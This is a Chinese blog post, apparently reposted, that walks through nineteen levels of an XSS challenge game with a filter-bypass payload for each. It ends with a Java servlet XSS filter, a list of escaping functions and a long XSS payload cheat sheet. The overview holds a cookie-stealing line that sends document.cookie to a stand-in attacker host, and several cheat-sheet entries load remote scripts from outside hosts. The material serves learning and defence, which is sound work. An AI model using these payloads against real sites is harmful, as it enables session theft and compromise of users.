xss game挑战笔记

admin 2020年6月16日01:49:53评论68 views字数 12314阅读41分2秒阅读模式

概述

     XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌。


攻击的条件

实施XSS攻击需要具备两个条件:
一、需要向web页面注入恶意代码;
二、这些恶意代码能够被浏览器成功的执行。

根据XSS攻击的效果可以分为几种类型

第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

XSS攻击能做些什么

1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:
var i=document.createElement("img");document.body.appendChild(i);i.src = "http://www.hackerserver.com/?c=" + document.cookie;
2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码。


XSS Challengs闯关

第一关

第一关很简单什么都不用编码直接输入payload就会弹窗

<script>alert(document.domain);</script>


xss game挑战笔记

xss game挑战笔记

第二关

xss game挑战笔记

F12看下源码,这里提示说要闭合上一个标签。所以也很简单,直接

xss game挑战笔记

"><script>alert(document.domain)</script>

xss game挑战笔记

第三关

xss game挑战笔记

xss game挑战笔记

这里很明显在box中进行xss。看似只有这几个选项实际上是post传参的,可以bp抓包修改。也可以在element里面改。

xss game挑战笔记

xss game挑战笔记

加入

<script>alert(document.domain)</script>

xss game挑战笔记

xss game挑战笔记

xss game挑战笔记

第四关

xss game挑战笔记

这里通过提示可以知道有转义
但是可以看到hiden这p3也会post上去,我们在post上面做文章

xss game挑战笔记

p1=123&p2=Japan&p3="><script>alert(document.domain)</script>

通过抓包提交p3

xss game挑战笔记

xss game挑战笔记

xss game挑战笔记

第五关

xss game挑战笔记

输入的时候发现长度受限制,F12查看源码;
       这里设置了长度。但是也不难,初学ctf的人应该都遇到过这个情况,改掉maxlength就行了。

xss game挑战笔记

我直接改成了150

xss game挑战笔记

然后输入:"><script>alert(document.domain)</script>

xss game挑战笔记


第六关

输入"><script>alert(document.domain)</script><发现<>被过滤

xss game挑战笔记

这里我们换个思路,既然闭合不了就顺着他的意思,给他加个属性。

payload:

" onclick=alert(document.domain) id="a

触发后弹窗

xss game挑战笔记

第七关

xss game挑战笔记

这里可以知道和上节有点相似。但是按照上节的payload试试呢?

xss game挑战笔记

xss game挑战笔记


   这里我们可以看到依然可以弹窗。但是和上节不同的地方就是value。上节中value并没有值,而这里有了。说明什么?

这里对"进行了过滤,所以这里的"能正确出现在框里面,当作value的值。上节中没有过滤"符号所以value值是空。

第八关

xss game挑战笔记

这里看到提示说用javascript协议。这里没有什么过滤直接xss

javascript:alert(document.domain)

xss game挑战笔记

第九关

xss game挑战笔记

这里提示说要用utf-7的编码来绕过。并且目前只有IE7下才会成功。

payload构造参考的Nixawk的博客http://blog.csdn.net/nixawk/article/details/28038509

payload:

p1=a%2BACI++onmouseover%2BAD0AIg-javascript%3Aalert%28document.domain%29%2BACI++id%2BAD0AIg-x&charset=UTF-7

因为UTF-7编码需要结合utf-7bom,这部分不是很熟悉还需要学习一下。


第十关

xss game挑战笔记

这里我们可以看到对domain这个特殊字眼进行了过滤。

当我输入domain的时候发现对这个特殊字符串进行了识别然后替换成了空字符串。这样又一个简单的绕过方法,就是在domain中间加入一个domain。这种类似的方法sql中出现过很多次了。

paylaod:

"><script>alert(document.dodomainmain)</script>

xss game挑战笔记


第十一关

xss game挑战笔记

script –> xscript     script过滤成xscript

on[a-z] –> onxxx    on事件过滤成onxxx

style –> stxxx          style属性过滤成stxxx

但是没有过滤"<>这样的话就可以先闭合"><script>alert()</script>。但是这里过滤了script怎么办呢?

这个时候就可以想着对script就行编码就行了

那么该用什么编码呢?无非就是html实体编码,jsunicode,js16进制或者八进制,url编码。我们都试试。


xss game挑战笔记

html实体编码没有成功被解析

js16进制编码:

"><sx63ript>alert(document.domain)</sx63ript>

xss game挑战笔记

也是没有被解析

unicode:

"><su0063ript>alert(document.domain)</su0063ript>

也没有解析,url编码就不说了,也肯定是不会被解析的

那么这种对标签编码的方法是行不通的了。于是我们换个方法。既然script标签不行,我们还有javascript协议。我们用<a>标签去xss。

payload:

"><a href="javascript:alert(document.domain)">Da13</a>

但是还是得想办法绕过对script的过滤

按照之前的方法,我们先对某个字符进行html实体编码:payload:

"><a href="javas&#x63;ript:alert(document.domain)">Da13</a>

xss game挑战笔记

触发了。那我们缓缓js编码看看呢?

xss game挑战笔记

xss game挑战笔记

都没有成功。所以这里可以看出:

不能对标签编码,对javascript编码的时候首先是html解析起将实体编码识别,再是后面的url解析起识别a标签中的url编码,等到一切准备就绪。js解析开始识别最后的编码并触发弹窗

当然这题还有另一个解法:

paayload:

"><a href="javas&#09;cript:alert(document.domain)">Da13</a>
"><a href="javas&NewLine;cript:alert(document.domain)">Da13</a>

xss game挑战笔记

至于为什么在《XSS与字符编码的那些事儿》里面已经说到了。我这里就再做个搬运工。

xss game挑战笔记


第十二关

xss game挑战笔记

过滤x00到x20所有字符,< > ” (英文双引号) ‘(英文单引号)。但是`还没被过滤,于是可以用`加上onclick,onmouseover,onfocus均可。但是前提只有在IE中才能实现。

payload:

``onclick=alert(document.domain);

第十三关

xss game挑战笔记

根据提示,需要控制style的属性,style跟JS连接的属性有expression,url。需要注意的是expression是IE浏览器早期版本中的CSS属性值,实验使用IE 浏览器。

payload:

da13:expression(onmouseover=function(){alert(document.domain)})

第十四关

和十三关没什么太大的区别,就是加了对敏感词汇的黑名单过滤

s/(url|script|eval|expression)/xxx/ig;

这样也不难绕过直接在关键词中间加注释符就行了。

第十五关

xss game挑战笔记

这里可以看到时document.write()函数把value写入。我们先试试一般的payload看看。

xss game挑战笔记

可以看到这里对特殊符号进行了编码。导致我们输入的不能被触发

那我们试试编码html实体编码。

xss game挑战笔记

这里对&符号也编码了。

试试js十六进制编码

x3cscriptx3ealert(document.domain);x3c/scriptx3e

xss game挑战笔记

这里可以看到成功了。就是因为document.write是js中的,所以按照js编码规则,这样的payload是可以被识别的。

第十六关

xss game挑战笔记

这里可以看到依然是docment.write函数,但是做了过滤。"x"这类符号被过滤了,也就是说js的16进制都不行了。但是还有unicode编码和8进制,以下贴出unicode编码的payload。

payload:

u003cscriptu003ealert(document.domain)u003c/scriptu003e

xss game挑战笔记

第十七关

xss game挑战笔记

这里提示多字节字符。这里如果regist成功,输入的数据就会显示在框里面,如果有违法字符就什么都不会显示。这里fuzz以下发现过滤了"<>符号。根据提示可以猜测是类似于宽字节注入。


但是这里说是要老版本的IE才会成功。所以就直接贴出payload

payload:

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

第十八关

xss game挑战笔记

依然过滤了<>"

这个源自于浏览器会把一些8位的字符直接解释成7位ascii(漏洞已经在IE8中修补了)浏览器会忽略掉一些8位字符的第一位,如BC和<2进制的后7位相同,浏览器会把他当做BC,并不会过滤。比如:“<” 十六进制 “3C” ,对应二进制是 "0011 1100" 最高位置1 变为 1011 1100 — 也就是 BC。可以理解为 3C + 80 = BC (十六进制下)

所以

"><script>alert(document.domain)</scirpt>

经过变换后就是

%A2%BE%BCscript%BEalert(document.domain);%BC/scirpt%BE

这题也是需要IE才能实现


第十九关

xss game挑战笔记

根据提示,可以找到该漏洞的文章

https://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html因为这个洞是2010年的了,比较久远了,而且要在IE8中才能触发。

这里和twitter中的漏洞环境差不多。取#!后面的放入linkurl后面。但是在谷歌里面插入

#!javascript&#58;alert(document.domain)

xss game挑战笔记

本来在IE8中就可以弹窗但是这里看到谷歌会404,不过URL会变成javascript协议。

最后

经过这次的xss challengs算是复习了一下对xss编码和简单xss绕过的一些小技巧,下来还会去练习一些更难的,灵活性更强的。希望各位大佬们如果看到什么


链接:https://www.secpulse.com/archives/123460.html


解决方法

一:

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

在项目的web.xml配置过滤器:

<filter>          <filter-name>XssEscape</filter-name>          <filter-class>XssFilter</filter-class>      </filter>      <filter-mapping>          <filter-name>XssEscape</filter-name>          <url-pattern>/*</url-pattern>      </filter-mapping>

XssFilter实现:

public class XssFilter implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response); }
@Override public void destroy() { }

}
XssHttpServletRequestWrapper实现
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); }
@SuppressWarnings("rawtypes") public Map<String,String[]> getParameterMap(){ Map<String,String[]> request_map = super.getParameterMap(); Iterator iterator = request_map.entrySet().iterator(); while(iterator.hasNext()){ Map.Entry me = (Map.Entry)iterator.next(); String[] values = (String[])me.getValue(); for(int i = 0 ; i < values.length ; i++){ values[i] = xssClean(values[i]); } }
return request_map; } public String[] getParameterValues(String paramString) { String[] arrayOfString1 = super.getParameterValues(paramString); if (arrayOfString1 == null) return null; int i = arrayOfString1.length; String[] arrayOfString2 = new String[i]; for (int j = 0; j < i; j++){ arrayOfString2[j] = xssClean(arrayOfString1[j]); } return arrayOfString2; }
public String getParameter(String paramString) { String str = super.getParameter(paramString); if (str == null) return null; return xssClean(str); }
public String getHeader(String paramString) { String str = super.getHeader(paramString); if (str == null) return null; str = str.replaceAll("r|n", ""); return xssClean(str); }

private String xssClean(String value) { //ClassLoaderUtils.getResourceAsStream("classpath:antisamy-slashdot.xml", XssHttpServletRequestWrapper.class) if (value != null) { // NOTE: It's highly recommended to use the ESAPI library and // uncomment the following line to // avoid encoded attacks. // value = encoder.canonicalize(value); value = value.replaceAll("", "");
// Avoid anything between script tags Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll("");
// Avoid anything in a src='...' type of expression scriptPattern = Pattern.compile("src[rn]*=[rn]*\'(.*?)\'", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); // Avoid anything in a href='...' type of expression scriptPattern = Pattern.compile("href[rn]*=[rn]*\"(.*?)\"", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll("");

// Remove any lonesome </script> tag scriptPattern = Pattern.compile("</script>", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll("");
// Remove any lonesome <script ...> tag scriptPattern = Pattern.compile("<script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll("");
// Avoid eval(...) expressions scriptPattern = Pattern.compile("eval\((.*?)\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll("");
// Avoid expression(...) expressions scriptPattern = Pattern.compile("expression\((.*?)\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll("");
// Avoid javascript:... expressions scriptPattern = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll("");
// Avoid vbscript:... expressions scriptPattern = Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE); value = scriptPattern.matcher(value).replaceAll("");
// Avoid onload= expressions scriptPattern = Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL); value = scriptPattern.matcher(value).replaceAll(""); } return value; }}

二、

过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出;

可以利用下面这些函数对出现xss漏洞的参数进行过滤1、htmlspecialchars() 函数,用于转义处理在页面上显示的文本。2、htmlentities() 函数,用于转义处理在页面上显示的文本。3、strip_tags() 函数,过滤掉输入、输出里面的恶意标签。4、header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览。5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。6、intval() 函数用于处理数值型参数输出页面中。7、自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,如留言、小纸条。那么在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。
各语言示例: PHP的htmlentities()或是htmlspecialchars()。 Python的cgi.escape()。 ASP的Server.HTMLEncode()。 ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library Java的xssprotect(Open Source Library)。 Node.js的node-validator。


XSS常见语句整理

<script>alert('hello,gaga!');</script> //经典语句,哈哈!
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(()'></table>
<object type=text/html data='javascript.:alert(();'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<s&#99;ript>alert('XSS')</script>
<img src="javas&#99;ript:alert('XSS')">
%0a%0a<script>alert("Vulnerable")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
<IMG SRC="jav&#x09;ascript.:alert('XSS');">
<IMG SRC="jav&#x0A;ascript.:alert('XSS');">
<IMG SRC="jav&#x0D;ascript.:alert('XSS');">
"<IMG src="/java"script.:alert("XSS")>";'>out
<IMG SRC=" 'javascript.:alert('XSS'');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="'javascript.:alert('XSS'')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="'javascript.:alert('XSS'')">
<IMG LOWSRC="'javascript.:alert('XSS'')">
<BGSOUND SRC="'javascript.:alert('XSS'');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="'javascript.:alert('XSS'');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url='javascript.:alert('XSS'');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="'javascript.:alert('XSS'')">
<DIV STYLE="background-image: url('javascript.:alert('XSS''))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@import'javascript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expression(alert("XSS"))'>
<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("'javascript.:alert('XSS'')");}</STYLE><A CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("'javascript.:alert('XSS'')")}</STYLE>
<BASE HREF="'javascript.:alert('XSS'');//">
getURL("'javascript.:alert('XSS'')")
a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="'javascript.:alert('XSS'');">
"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="'javascript.:alert('XSS'')"
<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

https://www.cnblogs.com/xuehen/p/4814237.html



本文始发于微信公众号(LemonSec):xss game挑战笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年6月16日01:49:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xss game挑战笔记http://cn-sec.com/archives/309898.html

发表评论

匿名网友 填写信息